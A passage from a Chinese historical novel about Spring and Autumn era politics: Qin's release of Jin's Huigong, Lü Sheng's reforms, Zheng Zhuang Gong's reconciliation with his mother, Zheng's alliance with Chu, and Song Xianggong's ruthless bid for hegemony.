秦穆公的心被哭声震撼,晋君虽恶,但晋人不弃。他须小心处置。于是,他回头对晋国士大夫们说道:“众大夫不必哀伤如此!共太子申生曾托梦狐突大夫,夷吾此难,实为天谴!不必惊慌,秦必释君而归。”
三年前,太子申生之灵曾经告诉国人,天帝要在韩原惩罚夷吾,今日果然应验!晋国士大夫一跪三拜:“君侯顶天立地,一言九鼎,皇天后土,闻君之言。我等翘首以待!”
秦穆公郑重允诺,众晋臣方才起身,派郤芮之弟郤乞陪同晋惠公入秦,照料他的生活。
弟弟战败被俘,姐姐五内俱焚!伯姬既是晋国公主,又是秦国国母,晋、秦两国谁胜谁败都是痛。如今,晋国战败,已与秦结仇,如再杀弟弟夷吾,不但伤害骨肉之情,更是杀君辱国,两国仇结将不共戴天,永世难解。她决不能让这一幕发生。
伯姬扯下发髻,用白布裹着头发,穿上丧衣,在后宫筑起高台,在台上堆满柴火,带着太子罂、次子弘以及简和壁两位公主登上高台,她大声哭道;“上天降灾,秦、晋交恶,两国从此战火不息。若晋候晨至雍城,我将与儿女至夕自裁。如入夜而至,我将至晨而死!”
国君不在,她就是小君,国人谁敢阻拦?
秦穆公闻讯傻眼了。韩原一战,虽然秦国取胜,但将士死伤无数。全军浴血奋战,为的是带着被俘的晋候凯旋,以彰军威,以振民心。现后院起火。夫人愤怒,让他左右为难。而军营内也炸开了锅。
“不能放过夷吾,负义小人,不能轻饶!”众将士纷纷说道。
“无道之君,留之为患,不若杀之,以绝夫人之念。”公子絷说道。
大夫公孙枝说;“晋强秦弱,若不能灭其国,亦不能杀其君。礼曰:无为祸,无作乱,无加怨,无欺凌。此四者,施人不祥也!”
秦穆公十分同意公孙枝的意见。他说;“若杀夷吾,内为夫人所恶,外为邻国所恨,大不智也。晋人忧而哭求,不恤其心,必增其怨!吾已仰天承诺,善待夷吾,不可违也。且申生传天帝口谕,只罚夷吾,无谕杀之。背天不祥,必归晋侯。”
经过讨论,秦穆公决定留夷吾一条小命,把他囚禁在雍城郊外的灵台,并派人与他谈判,愿两国重新和好。
夷吾经此大劫,沦为囚犯,感到末日来临。这时,公孙枝来到监窂,对他说道:“君侯韩原之败,乃为天惩,若君侯守诺,还河西五城,寡君必恕君侯之罪。”
夷吾一听,立即说道:“秦伯仁义,夷吾敢不从命?待我君臣商议,必不负秦伯所望!”
夷吾头脑开始冷静下来。想起郤芮的铁腕政策竟导致今日结局,决定启用吕甥。他对郤乞说道:“秦人欲和,汝速回国告之子金,令他与世子商榷和谈之事。”
子金就是吕甥,又叫瑕吕饴甥,瑕是他的封地,吕是氏,饴甥是名字。他是晋献公的外甥,夷吾的表哥。晋献公诛杀夷吾时,就是他与郤芮一齐追随夷吾逃到梁国。夷吾回国为君,他和郤芮同为上卿,本来他是首辅大臣,但郤芮回国之初以铁腕手段为国君清除强敌,吕甥不好反对,只好保持沉默。现在,国君派郤乞授他和谈大权,知道自己的时机到了。
他对郤乞说道:“汝召集群臣,以国君之名予以赏赐,且吿之曰:‘孤虽将归,却有辱社稷,不堪大位,可立圉为君也’”
郤乞召集群臣以此话告于大家。大家一听,国君是在自责啊!君忧臣耻,君辱臣死,众臣自惭、感恩、伤心得号啕大哭起来。吕甥趁机说道:“国君**异国,不恤己辱,而念臣忧,此恩此惠,亘古未闻也!我等如之若何?”
“大夫以为若何?”众臣擦干眼泪问道。
“辅弼世子,富国强军!则诸侯闻之,晋有新君,群臣辑和。友我者喜,恶我者惧,更有益也!”吕甥趁机说道。
士蒍的次子士谷深知吕甥才华出众,问道:“如何富国?如何强军?”
“作爰田以富国,作州兵以强军!”吕甥说道。
“愿闻其详!”众臣问道。
“诸公思之:晋为何饥荒不断?为何欲报秦恩而无粮可籴?非为天灾,只为人祸也!晋之公田,是国之财税之源。皆为佃农耕种。然公田非佃农所有,收成非佃农所得,故佃农只顾开私田而荒废公田,致使公田不治,收成微薄,国家贫弱。”
“上卿言之有理,然则如何作爰田?”士谷问道。
“将所有公田全部赏于贵族、士大夫并佃农,国家不分公田私田,一律收税。公室不管种田,只管征税,则国库收入充盈。贵族、士大夫拥有更多田地,也将富有,生民有私田可种,更愿交税,此为利国利民之举也!”
“国之良田,岂可送于贱民?”太子圉说道。
“世子容禀:治国者,以民为本,民富则国强,为政者若能施惠于民,乃为大幸也,切不可妒民之富!不独公田,国之作坊、商铺、矿场及百业,皆应交由生民经营,公室只管收税。必百业兴,生民富;谁不竭诚为国效力?反之,若百业由国家经营,与生民无关,民必怠工荒业,私窃贪腐,百业凋零,荒灾四起也!谁愿为国效力?世子思之。”
吕甥的话,让所有人哑口无言。他的改革,第一次敲响了井田制的丧钟,使私有制首先在晋国兴起。其实,齐国早就这么干了,只是没有提出明确的制度理论。更没有人像吕甥一样,要把一切财产,一切经营都交给国人!这样行吗?谁都不敢赞成,可谁都不愿反对。就连士谷也噤若无声。
就在这时,只见一个身材魁梧,方脸大眼的人上前一步,说道:“子金之言,乃富民强国之大略也。普天之下,莫非王土,率土之滨,莫非王臣。世子岂惧民富焉?此法乃齐之治国精要,世子不可犹豫。”
说话的人是郤芮的弟弟郤縠(hú狐),他在朝堂上几乎从不吭声,今天却对吕甥大加赞赏,使得士谷忍不住说道:“子金之策,天下无双,世子三思!”
太子圉也勉强听懂了,见众臣都支持,便好奇地说道:“此策甚好,何谓作州兵?”
“作州兵,便是改造兵制。昔我惟公室子弟、贵族并士大夫子弟方可从军。献公之时,为扩大兵源,居于市邑或集镇之人亦可当兵,此为国人。然散居于乡野之野
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民无权当兵,使兵源受限。若我三晋皆以州治,每州二千五百户,则可将国之野地和野人纳入各州,使野人变国人,共享公民之权,共担从军之责,不独治国更加有序,兵源亦将倍增,此谓作州兵也。”
齐国乡治,楚国县治,吕甥明确提出晋国以州治,作州兵,不仅使国家的治理更加完善,而且将野人变国人,使晋国人人都有立功晋爵的机会,这将释放出何等强大的国力!
“子金经纬之才,三晋之福也!下臣愿助子金作爰田,作州兵!”士谷钦佩地说道。
“作爰田!作州兵!”群臣们激动得喊了起来。
对于强国而言,国耻更能激发爱国热情。晋人拥立太子圉主持国政,吕甥总理国事。制订了以强军富国为宗旨的“作爰田、作州兵”的改革方案。在没有国君的情况下,他们似乎更团结,更努力!
吕甥见改革方案有序进行,便来到秦国谈判。秦穆公听到晋国改革自强的消息,感到了巨大的压力,便召众臣会见吕甥。
吕甥健步迈入秦宫大殿。秦穆公一看,只见他瘦小的个头,窄窄的脸庞,觉得其貌不扬。等他走近,见他笔直的鼻梁之上,一双大眼熠熠闪烁,又为之一惊。只见他稳步向前,躬身施礼道:“外臣子金拜见秦伯!”
“子金内治国政,外救国君,真乃国之股肱也!”秦穆公冷冷地夸道。
“此乃臣之本分也!”吕甥不卑不亢地答道。
秦穆公故意刁难道:“晋国和乎?”
吕甥明亮的双眼一转,答道:“不和!小人以君俘为耻,亲丧为哀,愿缴税以扶世子,曰:‘宁侍奉戎狄,亦必报仇’.而君子则爱其君而知其罪,不辞赋税,不畏武备之劳,以待秦国释君而还。曰:‘必报秦伯之德,死亦不敢再有二心’小人与君子争执不下,因此不和。”
秦穆公又问:“国人料秦何以待君?”
吕甥答道:“小人忧愁,料秦不赦吾君。君子仁恕,料秦必归吾君!小人曰:‘吾君害秦已甚,秦岂赦君’君子曰:‘君知罪也,秦必恕之’君事秦不仁,便掳之;君已服罪便赦之。以彰秦伯德厚而刑威也。”
秦穆公第一次遇到如此严谨不漏的人,感佩地说道:“善哉,晋有贤卿,何愁不兴!”
“晋国自强,乃世子之明也!世子已知获罪大秦,发誓自强以为大秦友邻,再续秦晋之好也!”
“善哉!善哉!此乃寡人心之所思也!”秦穆公更愿秦晋之好,见晋有贤臣,更不敢怠慢晋惠公,下令将他安置到国馆居住,并配送牛、羊、猪各七头,谓之“七牢”。这是招待诸侯的规格。
通过谈判,两国最后达成协议:晋国割让先前承诺的河西五城给秦国,秦国释放晋惠公,但,秦国担心晋人出尔反尔,便提出一个附加条件:须让太子圉顶替为质。
吕甥派人将谈判结果回告国人,国人欢欣鼓舞,准备大礼迎接国君。此时,有人劝庆郑道:“汝何不速逃?”
庆郑说道:“吾陷国君大败,君败而吾不殉死,逃避刑罚,非人臣之道也!臣无臣道,何处可逃?”
知人臣之礼,关键之时却不能隐忍克制。一念之差,害君害己。此时醒悟已经晚了!夷吾又怎能放过他?他在回国之前,就令郤芮将他处**。
第46章 掘地见母 礼仪余辉
题记:霸主谢世,谁能承继大位?受尽大周德礼熏陶的宋人意欲称霸护礼。可是,他们的对手是千年死敌:楚人。宋楚争霸,后世两千多年褒贬难定,争论不休。
郑国,中原的轴心,傍洛阳王城,北越黄河,南到禹州,西据天下险要虎牢关,东达与山东毗邻的兰考县,占据着今日近半个河南的膏腴之地。郑国公室是大周王室的亲枝正脉。开囯之君姬友,谥号郑桓公,是周宣王的弟弟,周幽王宫涅的叔叔。周宣王在位时,对这个弟弟信任有加,令他担任王朝大司徒,总领王室事务。周宣王二十三年,又把他分封到镐京王畿附近的郑地建国,赐位伯爵。
周宣王驾崩。郑桓公见继位的侄儿宫涅迷恋褒姒,不理朝政。且周朝的龙兴之地岐山两次崩塌,遂感囯都将危,恐祸及郑国,便奏请幽王把郑地迁到洛邑以东,黄河与济水以南的地区(今日河南郑州一带),在这里建立了郑国。
遥想当年风云变幻的岁月,周幽王烽火戏诸侯,引来犬戎大举入侵。郑桓公最先率军入京都,为保护国都战死。儿子掘突继位,又与晋、卫、申、秦联合与犬戎血战,最终打败犬戎。他,就是郑武公。
这时,周幽王**,战后的国都犒京千疮百孔,已成废墟。郑武公又与上述四国护送继位的**王东迁洛阳,开启了五百年的东周王朝。**王感念郑桓公、郑武公父子两代血战护王,便升任郑武公为王朝卿士,位极人臣。申侯更是喜爱这位年轻有为的王朝卿相,便把自己貌美如花的大女儿武姜嫁给了他。
申国姜姓,公主嫁与郑武公,故称武姜。两人婚后不久,武姜便怀孕了。可十个月后却难产,儿子倒着出来,当时叫寤生,武姜也差一点送了命。她十分讨厌这个儿子,干脆就给他取名寤生。不久武姜又生了一个儿子,取名段。可能是姬家血缘的颜值太高,传说中的文王武王都长得帅,武姜为姬家生下的公子段,长大后可谓一表人才。颀长的身材,大眼睛,高鼻梁,加上那洁白的皮肤,让武姜疼爱有加。便一再向丈夫吹枕边风:要立段为嫡。但郑武公掘突不仅是郑国国君,还是天朝首辅,当然不能废长立幼,违背周礼。他的态度很坚决。更加重要的是,他更喜欢寤生。
寤生个子不高,微胖,却目光沉稳,性格温和,不卑不亢,处事从无过错,有什么理由废他?况且,郑武公长时间东征西讨,求的是后宫稳定。武姜无可奈何。
在郑国周边有两个相邻的国家,郐国和虢囯。他先灭了郐国,然后把郐的都城定为郑国都城(即今日郑州市的新郑县),迁都之后,他又灭了虢囯,即东虢。他在位的二十多年里,让国土拓展了几倍。郑武公薨(hōng轰)逝,寤生继位,他,就是郑庄公,当然也**君父的王朝卿士之位。
这时,母亲武姜神气起来。她是王朝卿士的母亲,天子的姨妈,郑国的太后,在她心中,天下女人王后为大,她排第二。便要求继位的长子寤生把制地分给她心爱的段儿。制地就是后来齐桓公要求郑文公封给申侯的封地,即天下险要虎牢关!在河南荥阳附近。几百年后,东汉十八路诸侯讨伐董卓,就是从这里进攻。刘备、关羽、张飞三英战吕布,也在这里。把弟弟封到这个险要之地,岂不明显纵容他叛逆?寤生为难地说:“制乃险要之地,昔君父灭虢国,即取此险关,虢囯之君虢叔战死于此。此地不妥,其余皆可!”武姜眼皮都不抬,说道:“京城可矣!”
京城也在今河南荥阳东南面,离虎牢关并不太远,是国都之外最大的城市。但寤生不能再拒绝了!公子段封到京城后,人们便称他为京城大叔。他不仅违制继续扩大城市,加高城墙。而且令城西和城北相邻的城邑全部归属自己。继而招兵买马,训练军队。篡权之心,昭然若揭。郑国国相祭足年轻持重,深谋远虑。他对郑庄公说道:“依周制,城邑之墙方圆若过三百丈,为国之害也!大都莫过国都三分之一,中都莫过五分之一,小都莫过九分之一。今京城超制已甚,国君危矣。”
“母亲欲之,如之奈何?”郑庄公无奈地说。
“姜氏何厌之有?不如早断,无使滋蔓!蔓,难图也。蔓草犹不可除,况君之宠弟乎?”祭足字仲,故又史称祭仲。
郑庄公凝思片刻,说出了一句流传千古的话:“多行不义必自毙!姑且忍之。”
京城大叔不断招兵买马,扩充地盘,谋反的意图越来越明显!大司马子封也是公室弟子,更忧心如焚,对郑庄公说道:“国无二日,君上若之何?欲逊位大叔,臣请奉大叔为君;若不与,则请除之!无使民心生乱也!”郑庄公仍不慌不忙地说道:“无妨,彼将自取其咎也!”仍然按兵不动。
经过多年准备,京城大叔将城郭加修完毕,粮草武器备齐,便约定日期,由母亲作为内应,打开国都城门,进攻新郑。但公子段太招摇了。老成的哥哥寤生掌握着他的一举一动。就在他举事的前夕,郑庄公令能征善战的大司马子封率兵车二百辆突袭京城。城中
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的百姓不满京城大叔,开门迎接子封的大军。公子段大败,只好逃到边境的鄢地。郑庄公亲自领兵打到鄢地,并设计放他一条生路,让他逃出了郑国。
弟弟谋反,母亲内应,寤生怨气难消,一怒之下,把母亲赶到城颍(今河南临颍),发誓道:“不及黄泉,无相见也!”意味你不死,我是不会见你的。可说完就后悔了。
颖谷之地(今河南登封)的领主颍考叔长得高大雄壮,力大无穷,且又心思细致,深得郑庄公喜爱。颍考叔知道了国君的心思后,前来觐见。郑庄公请他吃饭。可每上一道菜,颍考叔都用荷叶包起来放进怀里。寤生问:“卿不自食,为谁留之?”颍考叔深情地说道:“家母年迈,小人之食皆尝,未尝国君之食也!请以赠之!”
寤生沉默不语,半晌才说:“汝犹赠食于母,惟寡人独无矣!”颍考叔等的就是这句话。他立即说道:“君上思母,有何患焉?若掘地及泉,隧而相见,其谁曰不然?”
郑庄公一听,是啊,从黄土下挖出泉水,不就是黄泉吗?便欣然点头。颍考叔带领五百壮士来到国都附近的牛脾山,掘地出泉,营建隧洞,把武姜接到洞中与寤生相见。
母子久别成思,抱头痛哭,冰释前嫌。
寤生亲自驾马接母亲回家。一路上春风得意,挥鞭唱道:“大隧之内,其乐也融融!”母亲更是心花怒放,随声和道:“大隧之外,其乐也泄泄!”
掘地见母是西周礼仪文明的灿烂晚霞,光耀千古。二千多年后的公元1987年,败退到台湾的**将士离开大陆已经三十八年了!将士们从二十多岁的青年,成为六十多岁的老人!他们思念故乡,思念母亲,渴望有生之年再见到自己的父母兄弟!执政的**如同颍考叔一样,深深理解老兵的思乡之情,便要求自己的秘书**秘密起草老兵回乡探亲的方案!两岸为敌三十八年,要打破僵局,可是机密中的机密!**更担心泄密,便将这一方案称作“颖考计划”!
台湾将“颖考计划”秘密告知大陆,大陆欣然同意。从此,台湾老兵涌向大陆,母子重逢,兄弟团聚,多少父母与阔别的子女相拥成泣!多少兄弟姐妹欢聚一堂!中华民族礼仪文明的光辉,闪耀出更加灿烂的光艳!这是大周的光艳,更是郑国的光艳!郑庄公的美名传遍中原。而此时的郑国,国富民强,战将如云。大胜齐国,三胜宋国,横扫中原联军,吞并许国。一时间,中原诸侯,莫非郑党!成为春秋早期的中原霸主。
第47章 北霸沉沦南霸起 诸侯纷纷觐楚王
郑庄公去世,太子姬忽继位,是为郑昭公,就是那位与陈国公主未婚先合的中原第一公子。他不仅相貌英俊,而且文韬武略集于一身,深得郑国臣民的爱戴,中原诸侯也仰慕才德。就是他,帮助齐国大败北狄的侵略,又亲率大军打败以宋国为首的五国联军的进攻,延续着霸主的伟业。
可是,郑国人才太多了,他那有着战神美誉的叔叔姬突,与宋国合谋,颠覆了郑昭公的政权,夺取了君位。使郑陷入内乱的泥潭中。他,就是郑厉公。
可是,郑人喜爱的是集美貌和智慧于一身的郑昭公。仅仅两年,郑人就赶走了郑厉公,迎回了郑昭公。逃到栎城的郑厉公又借宋国兵力,积蓄力量,伺机**。郑国开始一国两都,长期**,人心也开始裂变。
郑昭公复位的第三年,得不到提拔的大将高渠弥在狩猎中将郑昭公射杀!郑国复兴的希望彻底破灭。但高渠弥不敢投降国人痛恨的郑厉公,便立郑厉公的弟弟姬亹(委we?0?9)为君。
郑昭公曾帮助齐国打败北狄,是齐国的恩人。齐桓公的哥哥齐襄公立誓为昭公报仇,他一怒之下,领兵来到郑国边境,将高渠弥五马分尸,并将在位仅仅一年的姬亹也杀了。郑人只好立郑庄公最小的儿子姬婴为君。
十六年后,已经老迈的郑厉公派大将傅瑕又将姬婴暗杀,终于重回新郑,再一次篡位成功。可仅仅一年之后,他就在痛苦自责中死去,谥号厉:即暴慢无礼,愎恨遂过之意。他给他的子孙留下的祸患与**,无穷无尽,直至郑国灭亡。
厉公薨,长子姬捷承位,他就是郑文公。可今天的郑国,经济萧条,人才凋零,郑文公知道,居住在这中原的四战之地,如果没有强国保护,随时将被人欺凌甚至吞并。放眼中原大地,唯一能保护郑国的,只有楚国了。
十四年前,周惠王就曾送密函令他跟随楚国,并承诺恢复郑国的大周卿士之位,这既符合郑国的战略利益,又能再现郑国的昔日荣光。可惜的是,周惠王去世,卿士之梦也随之破碎。但是,他亲楚的国策更加坚定。现在,中原大国正暗暗结楚,他已经落在后面了。
这天,他召集众臣,讨论中原局势。
副卿皇武子上前说道:“启奏君上,蔡侯甲午、许男姜业皆往郢都觐见楚王!陈侯妫款亦欲与楚结盟,中原诸侯正暗中亲楚,君上不可不察。”
郑文公叹道:“今大楚剪灭黄国,收降厉国,征服蒋国,大败徐国,席卷淮河南北!叹桓公薨世,齐如落日余晖,霸业不再也!霸中原者,舍楚其谁?寡人欲亲往南郢,拜会楚王,以结其心,众卿以为如何?”
上卿叔詹就是太子华要除掉的洩氏宗伯,可他是郑文公的亲弟弟,太子华的亲叔叔,深受哥哥的喜爱。他一直反对亲楚。但为大势所趋,只好说道:“郑楚素亲,君何以万乘之躯,折腰事楚?莫若臣弟代往,申达君意?”
叔詹也已年过四十,身材高大而结实,方正的脸上,一双大眼沉静而幽深。挺拔的鼻梁,厚厚的嘴唇,给人以平和肃重之感。由他代国君觐见楚王,也算有礼。可皇武子说道:“昔先君拜会桓公,令上卿代往,桓公怒其不诚,囚之不归!上卿不可重蹈覆辙也!”
皇武子也是郑国公族之后,皇氏是郑国姬姓的分支,武子是他的名字。因此,他也是公室贵族,不太认同过于持重的叔詹,便以往事来讽刺他。
皇武子说的是前朝往事。当年,郑厉公执政时采取的一次平衡外交:郑厉公一方面派人到楚国暗中结盟,一方面又派叔詹去齐国拜访齐桓公。可齐桓公已接到密报,恼怒郑国两面讨好,便把叔詹抓了起来,关了一年多,这也是叔詹的心病。听了皇武子的话,叔詹有些心虚,便不出声了。
郑文公说道:“上卿留守监国,武子与寡人同往。”
“楚人豺狼之性,君上不可大意,武子须处处留心。”叔詹还是不放心。
皇武子知道叔詹不喜欢楚人,说道:“上卿宽心!郑楚之盟,乃天子所命,楚人必不负我。”
詹叔点点头,这才把心放下。
公元前642年春天,郑文公率皇武子等一班郑国重臣,带着金银珠宝,大张旗鼓地前往郢都。过去郑楚交往,几乎全是秘密进行,现在,他要让全天下的人都知道:郑是楚国的第一盟友。
闻报郑伯觐楚,楚成王大喜过望。这可是中原大国第一次公开觐见他这个南蛮之王啊!于是郢宫中门大开,张灯结彩,迎接郑文公。
郑文公庞大的车队从郢都西门入城,沿通衢大道直入宫门,在茅门前下车后,抬眼一望,巍峨壮丽的楚宫,气势直逼洛邑的明堂。他沿石砌的台阶拾级而上,进入楚堂,一眼望见年轻的楚成王头戴王冠,气宇轩昂地坐在王位上,一大片文臣武将肃立左右。见他入殿,目光都投射过来。他正正衣冠,鼓起勇气,缓步向前吟唱道:
“绥万邦,
屡丰年,
天命匪解。
桓桓武王,
保有厥土,
于以四方,
克定厥家。
於昭于天,
皇以问之?”
中等身材的郑文公,头戴一顶黄色七旒冠冕,身披红色大氅,硕大而圆润的头上,脸大鼻秀,一双灵动可爱的眼睛不时地转动着。他咏唱着赞美周武王的颂歌《桓》,巧妙地表达对楚王的崇敬。要知道,楚国最伟大的君主,也是自立为王的楚武王。
可中原诸侯吟诗为礼,让蛮楚之王急了,他该怎样应对?楚成王灵机一动,走下王座向前去迎,经过屈完身边,悄声问道:“此为何礼?”
“中原以诗明志,申达亲楚之心也。”
“我何以应对?”
“大王只需下令:歌咏《振鹭》,以谢郑伯。”
楚成王听罢,伸开双臂迎接客人,拉着郑文公的手,说道:“郑伯有礼也!”
“姬捷拜见楚王!”郑文公鞠躬致礼道。
楚成王回头说道:“歌咏《振鹭》,以谢郑伯!”
顿时,音乐响起,屈完迈步向前,高声歌咏道:
振鹭于飞,
于彼西雍。
我客戾止,
亦有斯容。
在彼无恶,
在此无斁。
庶几夙夜,
以永终誉。
见屈完咏毕,郑文公立上前拱手道:“春风几度,山水又逢,莫敖召陵平烽火,京都谒天颜,中原美誉,不绝于耳也。”
“召陵一别经年,郑伯风采依旧也。”屈完也鞠躬回礼道。
“郑伯高雅,大国之范也!”刚好站在两人身边的子文也说道。
郑文公转头一看,说道:“莫非令尹子文乎?北管仲,南子文,寡人何幸,得见真颜?”
久历宦海风云的子文竟被他夸得无以言对,只得躬身说道:“郑伯谬赞,子文何堪?”
郑文公的身上,散发着中原礼仪的光彩,使楚人如沐春风。楚成王一时无辞,便直接说道:“郑楚结盟,乃天子之愿也!不谷亦与天子同心,愿结郑好!”
“楚王大义,敝邑翘首以盼也!”
楚成王下令,到荆山脚下筑起高大的会盟台。第二天,两国国君便携手登台,洗手焚香,对天盟誓。
屈完宣读盟约道:
“一、楚郑结盟,皇天烛
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照,相亲无欺,永结盟好。
二、楚郑有难,相为救之。结诸侯,扶危困,伐无道。
三、皇天在上,后土在下,苟渝盟,无享国。”
盟誓后,楚成王大宴郑国宾客。主宾觥筹交错,欢天喜地。盛宴之后,楚成王召子文和屈完说道:“郑伯重情,我必有义,须以重礼回之。”
子文哈哈一笑,说道:“若与联姻,则盟上加亲,亦可探知郑人之心也!”
屈完说道:“先王之女,尽皆出嫁,大王子嗣,尚未成年,如何联姻?”
子文笑了笑,说道:“可召公室之女嫁之,郑伯必不见怪!”
楚成王一听,说道:“令尹之意甚佳!劳令尹与皇武子商榷,筹办此事。”
这天,皇武子来找子文,商量郑文公回国的日期。子文说道:“郑伯何乃太急!大王爱郑伯,正欲与之联姻,奈宫中无匹配之女,故犹豫难决。”
皇武子点点头。他也想楚郑联姻。但他心中明白,楚文王已过世三十多年,不可能有待嫁公主。而楚成王又如此年轻,更无可嫁之女。便说道:“谢大王美意!若以公室之女妻之,亦为美也!”
“武子速告与郑伯,王叔之女,端庄贤淑,温良恭敬,最为合适。冀郑伯不弃。”
皇武子一听,这也是好事啊!说道:“王叔之女,乃王室血脉,有何不可?寡君必允,待我先往说之。”
子文望着胖乎乎的皇武子摇摇摆摆的背影,觉得他与郑文公像一个模子里套出来的。叔詹是正卿,又是郑文公的亲弟弟,郑文公竟然不带他来。可见郑文公与皇武子何等情义相投,此事岂有不成之理?
皇武子来到郑文公下榻的伴月宫,宽大圆润的脸上,笑成一朵芍药花,对正收拾行装、准备回国的郑文公说道:“君上大喜!楚王欲与君上结亲!”
郑文公一听,更是老菊花开,说道:“谁来做媒?是何女子?”
“令尹为媒。言楚先王幼弟之女,貌美而品贤,方过及笄之年!正合君上!”
“哈哈,我以天命之年,犹娶及笄之女,不枉此行也!速备聘礼送入宫中,将我生辰八字交与令尹!”
“君上——是否太急?”
“郑楚盟上加亲,何急之有?若能娶亲而回,国之幸也!”郑文公脸上笑靥朵朵,花开灿烂。
楚成王听闻郑伯要娶亲而回,笑着说道:“郑伯真性情也!”
正是季春时节,两国急急将六礼完备,便在郢都举行隆重的婚礼。由子文主婚,江芈将公主送到伴月宫,郑文公亲自出宫迎接。消息传遍中原。
郑文公要走了,年轻的楚成王心中恋恋不舍,便亲自出送。走到宫门口,仍觉意犹未尽,对蒍吕臣说道:“叔伯速备三千斤红铜送与郑伯,以为公主嫁妆!”
蒍吕臣心想,天下哪有送铜做嫁妆的?但他心知大王与郑伯情义相投,便不多话,转身去取。
楚成王带着众臣送别郑文公,走出宫门。楚成王拉着郑文公的手,说道:“楚郑亲盟,皆郑伯之功。今将三千红铜与郑伯,聊作嫁资。”
“公主嫁资,已然丰厚,何劳如此重礼?”心满意足的郑文公没想到楚王还有惊喜。
这时,蒍吕臣领着一辆高大的辂车过来。机敏的子文上前揭开车幔,露出红铜,说道:“铜乃天下至刚之物,若铸之为犁,则利农耕;若铸为祭器,则不辱先祖之灵也。”
聪明的郑文公一听就明白,这是不许他铸造兵器啊。说道:“大王赠铜,当为礼器,悬于国宫之中,以记两国之盟也。”
楚成王大喜,又与郑伯依依话别。
作家的话
第48章 杀君祭神 霸主梦痴
天下人心向楚,宋襄公兹甫心中五味杂陈。现在,竞争霸主最有实力的对手,就是楚国了。他便急召众臣商议。
他高坐君位,扫视群臣,忧心地说道:“今桓公谢世,霸位空悬。举目中原,惟我大宋可承桓公之德。然蛮楚势大,必欲与我争霸,如之奈何?”
“今世风日下,礼崩乐坏,楚必以武取霸,君上不可与争。”
说话的就是首辅公子成。他是宋庄公的儿子,宋桓公的弟弟,虽然年轻,却虑事周密。
“然蛮楚不通德礼,若其称霸,必害中原!”大司马公孙固不想霸权落入楚人之手。
“君上让国之誉,传遍中原;护嫡之功,天下皆知!我大宋居五爵之尊,中原谁及?理应承霸主之位。”终于有了一个支持宋襄公称霸的人。
“子荡言之有理!以爵而霸,当属大宋!”宋襄公对庶弟公子荡的话倍加赞赏。
谁知哥哥目夷却忧虑重重:“与楚相争,必然招祸!”
当年,兹甫想把君位让给他,他却逃到卫国去了。兹甫承父大位,第一件事就是把哥哥召回,委以上卿,司职左师,虽然位居右师公子成之下,但总揽国政,掌有实权。
“楚为子爵之国,南蛮之邦,不可为霸也”公子荡坚持宋国称霸。
“然楚人势大,上天正佑,不可与争也。君上宜内修德政,外结诸侯,以待天时。我料楚人霸业必不长久,待其衰败之时,中原必归有德之人。”哥哥提醒弟弟道。
“君上可先召中原诸侯会盟,若其奉我,可鼎定霸权,再召楚王,彼将奈何?”大司马公孙固打圆场道。
“两强争霸,必伤明德。若保明德,又难立霸,此事左右皆难,君上细察。”公子成再次提醒道。
众人细细品味,觉得有理。可宋襄公说道:““若诸侯奉我,楚奈我何?”
兹甫主意已定,首先传召睢水流域的邾、滕、鄫三国到曹国会盟。自己亲领众臣来到曹国的首都陶丘(今山东菏泽市)。
曹国的始祖曹叔振铎在哥哥武王伐纣,进攻朝歌之时,就是武王的车驾,地位显赫,故分封在商丘之北的膏腴之地,西接洛阳,东连齐鲁,北临河济,南控江淮,号称中国之中!
地理位置虽好,却长期国力衰弱,又与强大的宋国为邻,只能惟命是从。曹共公清宫除庭,筑坛列旗,把会盟事务准备得妥妥帖帖,可只有老实忠厚的邾子琐按时到了。中原鲜为人知的邾国被齐桓公推为子爵后,便以参与中原事务为荣,有召必从。可滕、鄫两国国君却迟迟不来。让宋襄公大失所望!左等右等,到三月底,滕国国君婴齐才匆匆赶来。
滕国是周文王第十六子姬绣的子爵封国,位于今山东南部的滕州市,国小式微,长期依附齐国。滕宣公婴齐突然接到宋国的召盟令,心中不服。你又不是霸主,凭什么召盟?但又一想,不赴盟就要遭讨伐呀!还是十二分不情愿地来了。
宋襄公感到十分难过,这样的小国都对他如此轻慢,他将怎样号令中原大国?指着滕宣公怒道:“汝何乃太迟?必受惩处!”
公子荡立即带人把他囚禁起来。邾子劝道:“虽滕公来迟,然未曾拒盟,可赦其罪也。”
宋襄公无奈,点头称允。这年六月,宋、曹、邾、滕举行了隆重的结盟仪式,宋国正式称霸睢水。
同处睢水的鄫国国君鄫子闻讯慌了,自己逃盟,必受惩罚呀,怎么办?
当年,鄫国遭夷人侵犯,齐桓公领八国诸侯救援,将夷人赶走后,又为其修建城市、加固城墙。此恩此德,鄫人铭刻于心,故不愿背叛齐国。但四国结盟的消息传来,鄫子明白:时代变了,未来的霸主,或许就是宋公了!他急急跑到邾国,求邾子向宋国求情。
邾子刚刚回国,不敢收留鄫子,便带着他日夜兼程赶到陶丘,对宋襄公说道:“鄫子来迟,滞于敝邑,不敢来见盟主。期盟主招抚以礼,准其与盟!”
宋襄公正要讨伐鄫国,见他赶来,怒气稍平,说道:“逃盟者必罚!若不严惩,何以号令中原诸侯?且将鄫子绑了!”可怜的鄫子被五花大绑,带出曹宫囚禁起来。宋襄公问众臣道:“鄫子逃盟,如何处之?”
“鄫国不与我盟,留之何用,不如灭之。”公子荡的头脑比较简单。
“不可!鄫为夏王少康之子曲烈之封国,少康为中兴名君,不可灭其国!”目夷说道。
“不可灭国,可惩鄫子。”公孙固说道。
“必严惩鄫子,以儆效尤。”公子荡说道。
“如何严惩?”
“非杀不能立威也。”
“不与盟便杀其君,此非立霸之道也。”目夷还是不同意。
大家都沉默了。杀国君可不是小事,可不杀又何以立威?大家想起公子成的话,一时没了主意。
“可令邾子带往次睢之社,祭祀睢水之神!”公子荡一心为宋立威,想出一个残忍的方法。
宋襄公一听,说道:“此法尚可。”次睢之社是睢水流域的祭祀之地,地处今日琅玡临沂市,那里常以人牲祭祀,百姓称食人社。让鄫子祭祀睢水之神,既迎合沿水民众的心愿,又推去了杀君的恶名。
争霸走向了歧途。商代常有人葬人祭,但周朝废之。目夷感到弟弟走火入魔,忙上前劝解道:“古者不以畜祭畜,更无以人祭人。祭祀本是为人,岂可以人为祭品?齐桓公存亡继绝,救人水火,尚嫌德薄,国君岂可因会盟而淫祭鬼神,岂是求霸之道?”
“这也不行,那也不可,左师意欲何为?”头脑简单的公子荡不耐烦了。
“赦鄫子之罪,班师回国。若我德耀中原,诸侯必争相来盟,何须杀君立威?”
“君上让国之贤,护齐之功,已然德耀中原。然楚人不服,鄫人不从,更要等到何时?”
群臣又争了起来。兹甫说道:“众等无需再争,就依子荡之言,将鄫子祭祀睢水之神!”
